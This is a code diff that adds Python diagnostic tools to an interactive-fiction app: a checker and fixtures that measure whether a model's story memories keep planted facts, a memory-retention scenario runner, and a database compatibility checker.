+            setattr(obj, name, value)
+        app.dependency_overrides.clear()
+        adventure_routes.turns._active_turns.clear()
+        memorybank._vector_cache.clear()
+        Base.metadata.drop_all(bind=engine)

backend/tools/memory_fidelity.py

@@ -0,0 +1,551 @@
+"""v1.1 WP-B.2: how faithfully a real model's memories keep the facts of their block.
+
+**Diagnostic only. Nothing here is imported by the application, and nothing here
+is a release gate.**
+
+Why it exists: the first isolation-valid real-model WP-B run failed at creation.
+The whole planting block reached the summariser, and the memory it wrote left the
+planted fact out (`V1.1-WP-B2-REPORT.md` §L.2). B2.4 tried the plan's bounded
+remedy, a memory prompt instructing the model to keep named facts and objects. It
+was measured with this module, did not correct the failure, and was **not
+shipped** (§T). The module stays so the limitation can be measured again, on this
+model or a different one.
+
+- **Fixtures.** Short story blocks, each built around a fact a later scene could
+  turn on, with the ordinary texture a real block carries around it. They are
+  genre-neutral (office, contemporary, a science-fiction-neutral station), plus
+  the attempt-2 planting block itself. Each names the facts a memory must keep,
+  whom each belongs to, and what it must not invent.
+- **The checker** (`evaluate`) is deterministic and reads only the memory text.
+  It is a heuristic, and says so:
+  - a fact counts as kept when one sentence names every part of it;
+  - attribution is the nearest named character before the fact's verb;
+  - it also reports word count, a leading "Memory:" and second-person "you".
+- **The comparison** (`compare`) sends each fixture to a real model through the
+  application's own provider and `memorybank.memory_user_prompt`. It scores
+  memories under the shipped prompt and under the rejected B2.4 experiment.
+
+A scripted summariser cannot show what a prompt makes a model do. So the
+deterministic tests prove only that the checker is right and the fixtures reach
+the summariser; model quality is measured here, with inference, and reported.
+
+    # the real-model measurement (inference: ask first)
+    .venv/bin/python -m tools.memory_fidelity --endpoint <v1 URL> \\
+        --model qwen2.5:3b-instruct-16k --samples 5 --out "$HOME/v11-evidence/<label>"
+"""
+
+from __future__ import annotations
+
+import re
+from dataclasses import dataclass, field
+
+#: The memory prompt WP-B.2 B2.4 tried and **rejected**. Kept verbatim so the
+#: experiment in `V1.1-WP-B2-REPORT.md` §T can be repeated; the application
+#: never uses it.
+B24_EXPERIMENT_PROMPT = (
+    "You compress interactive-fiction story excerpts into memories. Respond with "
+    "1-2 plain sentences in past tense, in at most 50 words.\n\n"
+    "Keep the concrete facts a later scene could turn on: specific people, "
+    "objects and places; where something is; who has, hid, found, knows, saw or "
+    "promised what; injuries, clues and commitments. A distinctive fact comes "
+    "before mood, scenery, routine movement and small talk. Drop those first, "
+    "however much of the excerpt they fill, and never let a later passage crowd "
+    "out an earlier fact.\n\n"
+    "Keep each fact with the person it belongs to. Never move an action, promise, "
+    "possession, statement or piece of knowledge from one character to another, "
+    "and never add a fact the excerpt does not state.\n\n"
+    'Write in the third person. The narration calls the protagonist "you". The '
+    'protagonist\'s own actions and words are the lines that begin with ">", '
+    'written as "I" or "You", and what they establish is part of the story just '
+    "as the narration is. The protagonist is named in the Cast: refer to them by "
+    'that name, never as "you" or "I". If the Cast gives no name for them, call '
+    'them "the player". Name the other characters too rather than writing "he", '
+    '"she" or "they" on their own — this memory will be read on its own, much '
+    "later, with nothing around it to say who a pronoun meant.\n\n"
+    "No preamble, no commentary."
+)
+
+TARGET_WORDS = 50
+
+
+@dataclass(frozen=True)
+class Fact:
+    """One fact a memory must keep.
+
+    `groups`: every group must be matched in one sentence, by any of its terms.
+    `verbs`: the relation. When one is in that sentence, the nearest named
+    character before it is who the memory says the fact belongs to.
+    `actor`: whom it belongs to. `None` for a fact with no owner.
+    """
+
+    name: str
+    groups: tuple[tuple[str, ...], ...]
+    actor: str | None = None
+    verbs: tuple[str, ...] = ()
+
+
+@dataclass(frozen=True)
+class Fixture:
+    fixture_id: str
+    genre: str
+    requirement: str  # which measurement this fixture serves
+    protagonist: str
+    others: tuple[str, ...]
+    actions: tuple[tuple[str, str], ...]  # (type, text), oldest first
+    facts: tuple[Fact, ...]
+    min_facts: int | None = None  # default: all
+    #: Regexes a faithful memory must not match. Each is anchored on the wrong
+    #: character as the subject ("Marcus promised"), because a faithful memory
+    #: may name that character elsewhere in the same sentence ("promised Marcus").
+    forbidden: tuple[str, ...] = ()
+    #: Hand-written memories for the checker's own tests: one that should pass,
+    #: and failures that should not, each with the reason it must report.
+    faithful: str = ""
+    unfaithful: tuple[tuple[str, str], ...] = field(default_factory=tuple)
+
+    @property
+    def cast(self) -> tuple[str, ...]:
+        return (self.protagonist, *self.others)
+
+    @property
+    def raw(self) -> str:
+        return "\n\n".join(text for _, text in self.actions)
+
+
+# ------------------------------------------------------------------ checker
+
+def _term(term: str) -> re.Pattern:
+    body = r"\s+".join(re.escape(part) for part in term.lower().split())
+    return re.compile(rf"(?<![a-z]){body}(?:s|es|ed|d)?(?![a-z])")
+
+
+def _sentences(text: str) -> list[str]:
+    return [s.strip() for s in re.split(r"(?<=[.!?])\s+", text or "") if s.strip()]
+
+
+def _first(low: str, terms) -> int | None:
+    found = [m.start() for t in terms for m in [_term(t).search(low)] if m]
+    return min(found) if found else None
+
+
+def _attributed_to(sentence: str, fact: Fact, cast: tuple[str, ...]) -> str | None:
+    """The character this sentence gives the fact to, or None if it names none."""
+    low = sentence.lower()
+    at = _first(low, fact.verbs) if fact.verbs else None
+    names = [(m.start(), name) for name in cast for m in _term(name).finditer(low)]
+    if at is not None:
+        before = [(pos, name) for pos, name in names if pos < at]
+        if before:
+            return max(before)[1]
+    return min(names)[1] if names else None
+
+
+def evaluate(fixture: Fixture, memory: str) -> dict:
+    """What a memory kept, whom it gave each fact to, what it invented, and how
+    it is framed."""
+    memory = memory or ""
+    sentences = _sentences(memory)
+    facts = {}
+    for fact in fixture.facts:
+        holding = [s for s in sentences
+                   if all(_first(s.lower(), group) is not None for group in fact.groups)]
+        owners = sorted({o for s in holding
+                         if (o := _attributed_to(s, fact, fixture.cast)) is not None})
+        facts[fact.name] = {
+            "kept": bool(holding),
+            "attributed_to": owners,
+            "attribution_ok": (fact.actor is None or not holding
+                               or (owners != [] and set(owners) == {fact.actor})),
+        }
+    kept = sum(1 for f in facts.values() if f["kept"])
+    needed = len(fixture.facts) if fixture.min_facts is None else fixture.min_facts
+    inventions = [p for p in fixture.forbidden if re.search(p, memory, re.I)]
+    words = len(memory.split())
+    misattributed = [name for name, f in facts.items() if f["kept"] and not f["attribution_ok"]]
+    return {
+        "facts": facts,
+        "kept": kept,
+        "needed": needed,
+        "retained": kept >= needed,
+        "misattributed": misattributed,
+        "inventions": inventions,
+        "words": words,
+        "over_target": words > TARGET_WORDS,
+        # Framing the shipped prompt's rules exist to prevent.
+        "memory_prefix": memory.lstrip().lower().startswith("memory:"),
+        "second_person": re.search(r"\byou(r|rs|rself)?\b", memory, re.I) is not None,
+        "passed": kept >= needed and not misattributed and not inventions,
+    }
+
+
+# ----------------------------------------------------------------- fixtures
+
+OFFICE_TEXTURE = (
+    "The open-plan floor hums with keyboards and the air conditioning rattles in "
+    "its vent. Someone has left a birthday card on the printer, and the coffee "
+    "machine gurgles through another pot."
+)
+
+FIXTURES: tuple[Fixture, ...] = (
+    Fixture(
+        fixture_id="object_place_office",
+        genre="office",
+        requirement="distinctive object and place",
+        protagonist="Dana", others=("Priya",),
+        actions=(
+            ("start", "Monday at the insurance office. Dana is covering the late shift."),
+            ("do", "> You check the queue of unanswered claims."),
+            ("ai", f"{OFFICE_TEXTURE} Priya walks past your desk carrying a stack of folders, "
+                   "and slides the red backup drive into the bottom drawer of the grey filing "
+                   "cabinet in the archive room before locking it. The phones ring twice and stop. "
+                   "Rain streaks the tall windows while the floor slowly empties."),
+            ("do", "> You ask Priya whether the audit is still on for Thursday."),
+            ("ai", "Priya shrugs, says nobody tells her anything, and goes back to her own desk. "
+                   "The cleaners arrive with their carts and the lights dim on a timer."),
+            ("do", "> You log off and pack your bag."),
+        ),
+        facts=(Fact("drive in the cabinet", (("backup drive", "drive"), ("drawer", "filing cabinet", "cabinet")),
+                    actor="Priya", verbs=("slid", "slide", "put", "placed", "locked", "hid", "stored", "left")),),
+        forbidden=(r"\bdana\s+(had\s+)?(took|takes|has|holds|held|stole|locked|slid|hid)\b[^.]*\bdrive\b",),
+        faithful="Priya locked the red backup drive in the bottom drawer of the grey filing cabinet "
+                 "in the archive room while Dana covered the late shift.",
+        unfaithful=(
+            ("Dana covered a quiet late shift at the insurance office while rain fell and the "
+             "cleaners arrived.", "not retained"),
+            ("Dana locked the red backup drive in the bottom drawer of the filing cabinet.",
+             "misattributed"),
+        ),
+    ),
+    Fixture(
+        fixture_id="player_fact_station",
+        genre="science-fiction-neutral",
+        requirement="player-established concrete fact",
+        protagonist="Reyes", others=("Okafor",),
+        actions=(
+            ("start", "Deck four of the relay station, halfway through the night cycle. Reyes is on maintenance duty."),
+            ("do", "> You walk the corridor checking the pressure seals."),
+            ("ai", "The corridor lights pulse a dim blue. Condensation beads on the pipes, and "
+                   "somewhere below a pump cycles on with a shudder. Chief Okafor passes with a "
+                   "tablet under one arm and nods without stopping."),
+            ("do", "> I watch Chief Okafor seal the coolant sample in locker nine and log it under a false name."),
+            ("ai", "The night cycle drags on. The ventilation hisses, a door chimes somewhere "
+                   "down the ring, and the viewport shows the same slow turn of stars it always "
+                   "does. You finish the seal checks and sign the maintenance sheet, and the "
+                   "corridor settles back into its usual hum."),
+            ("do", "> You head back to your bunk."),
+        ),
+        facts=(Fact("sample in locker nine", (("coolant sample", "sample"), ("locker",)),
+                    actor="Okafor", verbs=("seal", "sealed", "locked", "put", "stored", "hid", "logged", "placed")),),
+        forbidden=(r"\breyes\s+(had\s+)?(sealed|seals|hid|stored|locked|logged)\b[^.]*\bsample\b",),
+        faithful="Reyes saw Chief Okafor seal the coolant sample in locker nine and log it under a false name.",
+        unfaithful=(
+            ("Reyes finished the seal checks on deck four during a quiet night cycle.", "not retained"),
+        ),
+    ),
+    Fixture(
+        fixture_id="promise_contemporary",
+        genre="contemporary",
+        requirement="promise / commitment",
+        protagonist="Dana", others=("Marcus",),
+        actions=(
+            ("start", "A Saturday afternoon at the flat Dana is about to rent from Marcus."),
+            ("do", "> You look around the empty living room."),
+            ("ai", "Sunlight falls across bare floorboards. The radiator ticks, a neighbour's "
+                   "radio plays through the wall, and Marcus jingles a ring of keys while he "
+                   "talks about the boiler and the bins."),
+            ("do", '> You say "Marcus, I will bring you the signed lease by Friday."'),
+            ("ai", "Marcus nods and writes something on the back of an envelope. Outside a bus "
+                   "pulls away, a dog barks twice, and the afternoon light moves slowly up the wall."),
+            ("do", "> You thank him and leave."),
+        ),
+        facts=(Fact("lease by Friday", (("lease",), ("friday",)), actor="Dana",
+                    verbs=("promise", "promised", "bring", "agreed", "said", "would")),),
+        forbidden=(r"\bmarcus\s+(promised|agreed|will\s+bring|would\s+bring)\b[^.]*\blease\b",),
+        faithful="Dana promised Marcus she would bring him the signed lease for the flat by Friday.",
+        unfaithful=(
+            ("Marcus promised to bring Dana the signed lease by Friday.", "misattributed"),
+            ("Dana viewed the empty flat on a sunny Saturday while Marcus talked about the boiler.",
+             "not retained"),
+        ),
+    ),
+    Fixture(
+        fixture_id="attribution_station",
+        genre="science-fiction-neutral",
+        requirement="attribution",
+        protagonist="Reyes", others=("Lena", "Tomas"),
+        actions=(
+            ("start", "The survey ship's cargo bay, between jumps."),
+            ("do", "> You ask who can open the sealed vault."),
+            ("ai", "Lena folds her arms. She is the only one aboard who knows the vault door "
+                   "code, and she makes it clear she is keeping it to herself. Tomas taps the "
+                   "access badge clipped to his jacket; without it the bay lift will not move."),
+            ("do", "> You look from one of them to the other."),
+            ("ai", "The bay lights flicker as the drive spools. Crates creak against their "
+                   "straps, and the air smells of cold metal and oil."),
+            ("do", "> You wait for one of them to speak."),
+        ),
+        facts=(
+            Fact("code", (("code",),), actor="Lena", verbs=("knows", "knew", "keeps", "kept", "holds", "held")),
+            Fact("badge", (("badge",),), actor="Tomas",
+                 verbs=("carries", "carried", "has", "had", "holds", "held", "wore", "wears", "tapped", "taps")),
+        ),
+        forbidden=(r"\breyes\b[^.]*\b(knew|knows)\b[^.]*\bcode\b",),
+        faithful="Lena alone knew the vault door code and kept it to herself; Tomas carried the access "
+                 "badge that the bay lift needed.",
+        unfaithful=(
+            ("Tomas knew the vault door code, and Lena carried the access badge.", "misattributed"),
+        ),
+    ),
+    Fixture(
+        fixture_id="clutter_office",
+        genre="office",
+        requirement="clutter pressure",
+        protagonist="Dana", others=("Priya", "Owen"),
+        actions=(
+            ("start", "The quarterly offsite at a conference hotel by the motorway."),
+            ("do", "> You find a seat near the back."),
+            ("ai", "The conference room smells of carpet cleaner and burnt coffee. Chairs scrape, "
+                   "a projector fan whines, and someone at the front struggles with the clicker. "
+                   "Owen talks about his weekend at length, the traffic on the ring road, a new "
+                   "sandwich place, the football, and whether it will rain for the barbecue. The "
+                   "slides cycle through charts nobody reads. Outside the window lorries hiss past "
+                   "on the wet motorway, and the hotel's muzak drifts in whenever the door opens."),
+            ("do", "> You go to the refreshment table."),
+            ("ai", "Pastries sweat under cling film. Priya stirs her tea, glances around, and "
+                   "quietly tells you that she saw Owen shred the signed supplier contract in the "
+                   "copy room last night. Then she talks about the weather, the parking, and the "
+                   "long drive home, and laughs at a joke from across the room. The afternoon "
+                   "session is announced, people drift back to their seats, and the projector "
+                   "fan starts whining again over a long talk about quarterly targets."),
+            ("do", "> You take your seat for the afternoon session."),
+        ),
+        facts=(Fact("contract shredded", (("contract",), ("shred", "shredded", "destroyed")),
+                    actor="Owen", verbs=("shred", "shredded", "destroyed")),),
+        forbidden=(r"\b(priya|dana)\b\s+(had\s+)?(shred|shredded|destroyed)\b",),
+        faithful="At the offsite, Priya told Dana she had seen Owen shred the signed supplier contract "
+                 "in the copy room the night before.",
+        unfaithful=(
+            ("Dana sat through a dull offsite of charts, pastries and Owen's talk about the weekend.",
+             "not retained"),
+            ("Priya shredded the signed supplier contract in the copy room.", "misattributed"),
+        ),
+    ),
+    Fixture(
+        fixture_id="no_invention_office",
+        genre="office",
+        requirement="no invention",
+        protagonist="Dana", others=("Owen",),
+        actions=(
+            ("start", "A short planning meeting in the small room on the third floor."),
+            ("do", "> You sit down opposite Owen."),
+            ("ai", "A black briefcase sits unclaimed by the door; nobody mentions it. Owen says "
+                   "the budget review has moved from Tuesday to Thursday, and asks you to tell "
+                   "the team."),
+            ("do", "> You agree to pass it on."),
+            ("ai", "Owen thanks you, checks his phone, and the meeting ends after ten minutes. "
+                   "The briefcase is still by the door when you leave."),
+            ("do", "> You walk back to your desk."),
+        ),
+        facts=(Fact("review moved", (("budget review", "review"), ("thursday",))),),
+        forbidden=(
+            r"\b(took|taken|stole|hid|hidden|grabbed|pocketed|carried|carries|owns|owned|belong\w*)\b[^.]*\bbriefcase\b",
+            r"\bbriefcase\b[^.]*\b(belong\w*|his|her|owen's|dana's|secret|clue)\b",
+            r"\b(clue|secret|password|code)\b",
+        ),
+        faithful="Owen told Dana the budget review had moved from Tuesday to Thursday, and Dana agreed "
+                 "to tell the team.",
+        unfaithful=(
+            ("Owen told Dana the budget review had moved to Thursday and left his secret briefcase by the door.",
+             "invented"),
+        ),
+    ),
+    Fixture(
+        fixture_id="multiple_facts_station",
+        genre="science-fiction-neutral",
+        requirement="multiple concrete facts",
+        protagonist="Reyes", others=("Hale", "Varga", "Moreau"),
+        actions=(
+            ("start", "The mess hall of the mining outpost after the shift change."),
+            ("do", "> You sit with the day crew."),
+            ("ai", "Trays clatter and the recycler drones. Engineer Hale admits, half joking, that "
+                   "she hid the spare fuse inside the airlock control panel. Doctor Varga says only "
+                   "she knows the reactor override phrase, and changes the subject. Pilot Moreau "
+                   "grumbles that he owes Hale two shifts of cover."),
+            ("do", "> You finish your meal."),
+            ("ai", "The lights dim for the rest cycle and the crew drifts off to their bunks."),
+            ("do", "> You head to your quarters."),
+        ),
+        facts=(
+            Fact("fuse in the panel", (("fuse",), ("panel", "airlock")), actor="Hale",
+                 verbs=("hid", "hidden", "put", "stashed", "kept")),
+            Fact("override phrase", (("override",),), actor="Varga", verbs=("knows", "knew", "keeps")),
+            Fact("owes cover", (("owes", "owed", "debt"), ("shift", "cover")), actor="Moreau",
+                 verbs=("owes", "owed")),
+        ),
+        min_facts=2,
+        faithful="Hale hid the spare fuse inside the airlock control panel, and Varga alone knew the "
+                 "reactor override phrase.",
+        unfaithful=(
+            ("Varga hid the spare fuse inside the airlock panel, and Hale knew the reactor override phrase.",
+             "misattributed"),
+        ),
+    ),
+    Fixture(
+        # The planting block of WP-B.2 real-model attempt 2, verbatim: the
+        # harness's own fixture campaign, with no identifier in it. It is the
+        # failure the reference model has not overcome.
+        fixture_id="regression_attempt_2",
+        genre="fantasy (the harness campaign)",
+        requirement="the actual failed-run block",
+        protagonist="Aldric", others=("Mara", "Edrin"),
+        actions=(
+            ("start", "Rain over Westhaven. Aldric sits in the Crooked Lantern with a silver key in his "
+                      "pocket and no-one to give it to."),
+            ("do", "> I tell Mara quietly that the silver key opens the crypt beneath the Old Abbey — "
+                   "SILVER-KEY-CRYPT-OLD-ABBEY."),
+            ("ai", "The lantern's warmth feels cold against Aldric's hands as he fidgets with the silver "
+                   "key. Mara observes him without a word, her eyes unreadable. The rain outside "
+                   "persists, a backdrop of nature's indifference to the human drama transpiring. "
+                   "Aldric's fingers close over the key, the familiar weight making him feel both more "
+                   "alone and more determined. He pulls the key from his pocket, the metal feeling cold "
+                   "against his skin. \n\n> \"I have the key,\" Aldric whispers to Mara. \"It leads to "
+                   "the crypt beneath the abbey.\"\n\nEdrin, having finished his ale, stands. \"Well, now "
+                   "that we know the key leads to somewhere... do you think we should see what it "
+                   "opens?\"\n\nThe silver key feels heavy in Aldric's hands. He looks at Mara, then at "
+                   "the key, and finally at Edrin. He decides. \"Let's do this.\""),
+            ("do", "> I watch Mara slip the amber sundial inside the cracked teapot on the tavern's top "
+                   "shelf, and she makes me promise to tell no one."),
+            ("ai", "Aldric steps closer to the smoky bar, his gaze shifting from the silver key in his "
+                   "pocket to Mara. \"Let's not overthink this,\" he says, his voice steady despite the "
+                   "gnawing doubt that tugs at him. \"Let's see what the crypt holds.\"\n\nEdrin raises "
+                   "an eyebrow, his curiosity piqued. \"Alright, then. But if this leads somewhere "
+                   "dangerous, we're splitting up. If we make it back here, I'll tell no one what we "
+                   "found.\"\n\nMara nods her agreement, her eyes still unreadable. \"Agreed. But "
+                   "remember, we're not the first to look there. We need to tread carefully.\"\n\nWith a "
+                   "slight nod, they step out of the tavern. The rain has only intensified, pelting them "
+                   "as they walk toward the Old Abbey's shadowed grounds. The crypt, sealed since its "
+                   "founding, stands before them, its door ajar, inviting or perhaps foreboding. As "
+                   "Aldric approaches, he feels a strange mixture of excitement and fear, his hands "
+                   "curling around the silver key's handle. \n\n> He turns the key, and the lock clicks "
+                   "open with a satisfying, if ominous, hiss. The door swings inward, revealing a narrow "
+                   "passageway. The air inside is musty and cold, the only light filtering in through "
+                   "the cracks. \n\nAldric takes a tentative step inside, his breath visible in the air. "
+                   "Mara and Edrin follow, their footsteps echoing in the silence. The walls are lined "
+                   "with stone and cobwebs, and the smell of damp and decay is overwhelming. They "
+                   "advance cautiously, each of them aware of the potential dangers lurking within."),
+            ("do", "> I ask Mara what she has heard about the abbey."),
+        ),
+        facts=(Fact("sundial in the teapot", (("sundial",), ("teapot",)), actor="Mara",
+                    verbs=("slip", "slipped", "hid", "hidden", "put", "placed", "tucked", "stashed")),),
+        forbidden=(
+            r"\b(aldric|edrin)\b\s+(had\s+)?(slipped|hid|placed|put|tucked|stashed)\b[^.]*\bsundial\b",
+        ),
+        faithful="Aldric watched Mara slip the amber sundial inside the cracked teapot on the tavern's "
+                 "top shelf and promised her to tell no one; then Aldric, Mara and Edrin entered the "
+                 "crypt beneath the Old Abbey.",
+        unfaithful=(
+            # The memory attempt 2 actually stored, verbatim.
+            ("Aldric sits in the Crooked Lantern with a silver key in his pocket, no-one to give it to. "
+             "Mara observed him quietly, her eyes unreadable. Edrin finished his ale and stood, asking if "
+             "they should see what the crypt beneath the Old Abbey holds. Aldric decided to go, promising "
+             "not to tell anyone. They walked to the Old Abbey's grounds, the crypt door ajar, inviting "
+             "and foreboding. Inside, the air was musty and cold, with the smell of damp and decay. They "
+             "advanced cautiously, each aware of potential dangers. The silver key, the key to the crypt, "
+             "felt heavy in Aldric's hands.", "not retained"),
+            ("Aldric slipped the amber sundial inside the cracked teapot on the tavern's top shelf.",
+             "misattributed"),
+        ),
+    ),
+)
+
+FIXTURES_BY_ID = {f.fixture_id: f for f in FIXTURES}
+
+
+def cast_brief_for(fixture: Fixture) -> str:
+    """The cast brief `memorybank.cast_brief` would build for this fixture."""
+    from app import memorybank
+
+    lines = [memorybank._cast_line(fixture.protagonist, "", protagonist=True)]
+    lines += [memorybank._cast_line(name, "") for name in fixture.others]
+    return "Cast:\n" + "\n".join(lines)
+
+
+def user_prompt_for(fixture: Fixture) -> str:
+    """Exactly the user message the application sends for this block."""
+    from app import memorybank
+
+    return memorybank.memory_user_prompt(cast_brief_for(fixture), memorybank.memory_excerpt(fixture.raw))
+
+
+# --------------------------------------------------------- the measurement
+
+async def compare(endpoint: str, model: str, samples: int) -> dict:
+    """Every fixture, `samples` times, under the shipped prompt and the B2.4 experiment."""
+    from app import memorybank, models
+
+    settings = models.Settings(endpoint_url=endpoint, model=model, summary_model="",
+                               api_mode=models.Settings.__table__.c.api_mode.default.arg,
+                               model_timeout_seconds=300)
+    provider = memorybank.summary_provider(settings)
+    arms = {"shipped": memorybank.MEMORY_SYSTEM_PROMPT, "b2.4-experiment": B24_EXPERIMENT_PROMPT}
+    out: dict = {"endpoint_model": model, "samples": samples, "fixtures": {}}
+    for fixture in FIXTURES:
+        user = user_prompt_for(fixture)
+        row: dict = {"requirement": fixture.requirement, "genre": fixture.genre, "arms": {}}
+        for arm, system in arms.items():
+            runs = []
+            for _ in range(samples):
+                text = (await provider.complete(system, user) or "").strip()
+                runs.append({"memory": text, **evaluate(fixture, text)})
+            summary = {
+                "passed": sum(r["passed"] for r in runs),
+                "retained": sum(r["retained"] for r in runs),
+                "misattributed": sum(bool(r["misattributed"]) for r in runs),
+                "invented": sum(bool(r["inventions"]) for r in runs),
+                "memory_prefix": sum(r["memory_prefix"] for r in runs),
+                "second_person": sum(r["second_person"] for r in runs),
+                "words_median": sorted(r["words"] for r in runs)[len(runs) // 2],
+                "words_max": max(r["words"] for r in runs),
+                "over_target": sum(r["over_target"] for r in runs),
+            }
+            row["arms"][arm] = {"runs": runs, **summary}
+            print(f"{fixture.fixture_id:28} {arm:16} "
+                  + " ".join(f"{k} {v}" for k, v in summary.items()), flush=True)
+        out["fixtures"][fixture.fixture_id] = row
+    return out
+
+
+def main() -> int:
+    import argparse
+    import asyncio
+    import json
+    import os
+    import sys
+    import tempfile
+    from pathlib import Path
+
+    parser = argparse.ArgumentParser(description=__doc__.split("\n")[0])
+    parser.add_argument("--endpoint", required=True)
+    parser.add_argument("--model", required=True)
+    parser.add_argument("--samples", type=int, default=5)
+    parser.add_argument("--out", required=True)
+    args = parser.parse_args()
+
+    handle = tempfile.NamedTemporaryFile(suffix=".db", delete=False)
+    handle.close()
+    os.environ["AIDND_DB_PATH"] = handle.name  # nothing is written; never the real database
+    os.environ.pop("AIDND_DATABASE_URL", None)
+    sys.path.insert(0, str(Path(__file__).resolve().parent.parent))
+    try:
+        result = asyncio.run(compare(args.endpoint, args.model, args.samples))
+    finally:
+        Path(handle.name).unlink(missing_ok=True)
+    out = Path(args.out)
+    out.mkdir(parents=True, exist_ok=True)
+    (out / "fidelity.json").write_text(json.dumps(result, indent=2))
+    print(f"written to {out / 'fidelity.json'}")
+    return 0
+
+
+if __name__ == "__main__":
+    raise SystemExit(main())

backend/tools/v11_b1_memory.py

@@ -0,0 +1,125 @@
+"""v1.1 WP-B.1: run the deterministic memory-retention scenarios, or diagnose a real campaign.
+
+    # the deterministic scenarios, against an isolated database in --out
+    .venv/bin/python -m tools.v11_b1_memory scenarios --out "$HOME/v11-evidence/b1/<label>"
+
+    # the four stages for a finished real campaign (reads its database; embeds
+    # the recall query with the campaign's own configured embedding model)
+    AIDND_TEST_ENDPOINT=... AIDND_TEST_EMBED_MODEL=nomic-embed-text:latest \\
+      .venv/bin/python -m tools.v11_b1_memory diagnose --db <campaign.db> \\
+        --plant-depth 3 --out "$HOME/v11-evidence/b1/<label>"
+
+Run from `backend/`. Nothing here changes memory behaviour; see
+`tools/memory_diagnostic.py` for what is measured and what the stubs model.
+"""
+
+from __future__ import annotations
+
+import argparse
+import json
+import os
+import shutil
+import sys
+from pathlib import Path
+
+
+def main() -> int:
+    parser = argparse.ArgumentParser(description=__doc__.split("\n")[0])
+    sub = parser.add_subparsers(dest="command", required=True)
+    scen = sub.add_parser("scenarios")
+    scen.add_argument("--out", required=True)
+    scen.add_argument("--only", action="append", default=[])
+    diag = sub.add_parser("diagnose")
+    diag.add_argument("--db", required=True)
+    diag.add_argument("--plant-depth", type=int, required=True)
+    diag.add_argument("--out", required=True)
+    args = parser.parse_args()
+
+    out = Path(args.out)
+    out.mkdir(parents=True, exist_ok=True)
+
+    if args.command == "scenarios":
+        db_path = out / "scenarios.db"
+        if db_path.exists():
+            db_path.unlink()
+        os.environ["AIDND_DB_PATH"] = str(db_path)
+    else:
+        # A copy, so diagnosis never writes to the evidence database.
+        copy = out / "diagnosed-copy.db"
+        shutil.copy2(args.db, copy)
+        os.environ["AIDND_DB_PATH"] = str(copy)
+    os.environ.pop("AIDND_DATABASE_URL", None)
+    os.environ.pop("DATABASE_URL", None)
+
+    from tools import memory_diagnostic as md  # after the database is chosen
+
+    if args.command == "scenarios":
+        names = args.only or list(md.SCENARIOS)
+        summary = {}
+        for name in names:
+            result = md.run_scenario(md.SCENARIOS[name])
+            (out / f"{name}.json").write_text(json.dumps(result, indent=2, default=str))
+            d = result.get("diagnosis") or {}
+            summary[name] = {
+                "verdict": d.get("verdict"),
+                "isolation_ok": (result.get("isolation") or {}).get("ok"),
+                "plant_depth": result.get("plant_depth"),
+                "recall_depth": result.get("recall_depth"),
+                "f_evicted_at_turn": (result.get("eviction") or {}).get("f_evicted_at_turn"),
+            }
+            print(f"{name:26} verdict={d.get('verdict')!s:26} "
+                  f"isolation_ok={summary[name]['isolation_ok']} "
+                  f"plant={result.get('plant_depth')} recall={result.get('recall_depth')}")
+        (out / "summary.json").write_text(json.dumps(summary, indent=2))
+        return 0
+
+    import asyncio
+
+    from sqlalchemy.orm import undefer
+
+    from app import memorybank, models
+    from app.database import SessionLocal
+
+    endpoint = os.environ.get("AIDND_TEST_ENDPOINT", "")
+    embed_model = os.environ.get("AIDND_TEST_EMBED_MODEL", "")
+    with SessionLocal() as db:
+        adventure = db.query(models.Adventure).order_by(models.Adventure.id).first()
+        settings = db.query(models.Settings).filter_by(user_id=adventure.user_id).first()
+        if endpoint:
+            settings.endpoint_url = endpoint
+        if embed_model:
+            settings.embedding_model = embed_model
+        recall_action = (db.query(models.Action)
+                         .filter(models.Action.adventure_id == adventure.id,
+                                 models.Action.type == "ai")
+                         .options(undefer(models.Action.context_snapshot))
+                         .order_by(models.Action.id.desc()).first())
+        embed = memorybank.embedding_provider(settings).embed
+        iso = md.isolation(db, adventure, md.FACT_F, args.plant_depth,
+                           recall_snapshot=recall_action.context_snapshot,
+                           recall_depth=recall_action.depth)
+        diagnosis = asyncio.run(md.diagnose(db, adventure, settings, md.FACT_F, args.plant_depth,
+                                            recall_action=recall_action, embed=embed))
+        variants = {}
+        memory_id = diagnosis["created"]["memory_id"]
+        if memory_id is not None and not diagnosis.get("retained", {}).get("forgotten"):
+            base = md.production_query(adventure, recall_action.id)
+            for label, query in (("recall_turn", base),
+                                 ("paraphrase", md.variant_query(base, md.PARAPHRASE_QUERY)),
+                                 ("unrelated", md.variant_query(base, md.UNRELATED_QUERY))):
+                ranking = asyncio.run(md.rank_bank(db, adventure, settings, query, embed))
+                row = next((r for r in ranking["scored"] if r["memory_id"] == memory_id), None)
+                variants[label] = {"rank": row and row["rank"], "of": len(ranking["scored"]),
+                                   "similarity": row and row["similarity"],
+                                   "lexical_score": row and row["lexical_score"],
+                                   "final_score": row and row["final_score"],
+                                   "selected": bool(row and row["selected"])}
+        db.rollback()
+    report = {"isolation": iso, "diagnosis": diagnosis, "ranking_variants": variants}
+    (out / "diagnosis.json").write_text(json.dumps(report, indent=2, default=str))
+    print(json.dumps({"isolation_ok": iso["ok"], "verdict": diagnosis["verdict"]}, indent=2))
+    return 0
+
+
+if __name__ == "__main__":
+    sys.exit(main())

backend/tools/v11_compat_check.py

@@ -0,0 +1,187 @@
+"""v1.1: does a real v1.0.0 database open unchanged?
+
+    # the same database, opened by each tree, snapshotted read-only
+    .venv/bin/python -m tools.v11_compat_check --db <v1 campaign.db> \\
+        --tree <v1.0.0 worktree>/backend --label v100 --out "$HOME/v11-evidence/compat"
+    .venv/bin/python -m tools.v11_compat_check --db <v1 campaign.db> \\
+        --label v11 --exercise --out "$HOME/v11-evidence/compat"
+
+Run from `backend/`. The source database is never opened. It is copied into
+`--out` first, and the copy is what the application opens.
+
+A read-only snapshot is taken through the API, the same way a reader sees the
+campaign:
+
+- the export bundle, which carries the whole tree, the head, the Save Points,
+  state, events, summaries, memories and knowledge, and has no timestamp of its
+  own;
+- the narrative state and its events;
+- the Save Points, the imported knowledge, the memories, the derived status and
+  the settings;
+- the database schema and `PRAGMA user_version`, before and after the
+  application opened it.
+
+Two snapshots of the same database from two trees are then compared. Identical
+means v1.1 read it exactly as v1.0.0 did, and a matching schema and version mean
+nothing migrated.
+
+`--exercise` then uses the v1.1 copy: undo, redo, a Save Point restore, a
+context dry run (knowledge retrieval), an export, and an import of that export.
+It first points the copy's endpoint at a loopback port that refuses, so nothing
+here reaches an inference server.
+"""
+
+from __future__ import annotations
+
+import argparse
+import json
+import os
+import shutil
+import sqlite3
+import sys
